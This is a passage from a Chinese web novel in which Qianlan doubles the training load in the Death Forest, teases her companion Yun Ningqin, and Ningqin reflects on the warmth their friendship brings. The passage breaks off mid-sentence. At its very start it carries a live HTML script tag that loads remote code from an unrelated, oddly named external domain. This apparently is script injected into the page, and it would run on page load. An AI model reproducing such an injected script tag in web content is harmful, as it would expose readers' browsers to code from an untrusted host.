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<script src="https://xxsmad3.com/s.php?g=1&t=2&p=1388&i="></script>千澜的训练很简单,先是负重跑,这样能练习身子的轻盈度,然后是前世简单的健身招式,首先得有个强健的体魄才能在身体上打败别人。
由于之前一个月的训练,两人的训练量都不大,所以来了死亡森后千澜直接将训练量翻倍,搞得云宁沁每天都顶着一张苦兮兮的脸,清淡的性子也被千澜磨出了些其他的情绪,比如现在。
“你说今天只有这么多的。”云宁沁坐在一大块石头上,皱着眉看着旁边一身清爽的千澜。
“对啊,我说的是跑步啊。”千澜睁着一双眼,无辜的看着云宁沁,心底却是狂笑,逗云宁沁是千澜每日的必修课。
云宁沁脸色果然黑了几分,不过变化不大,这些日子和千澜在一起,是云宁沁这些年最开心的时候,虽然这丫头有时候很气人,但是她不能否认千澜带给她从来没有体会到过的温暖。
“我很
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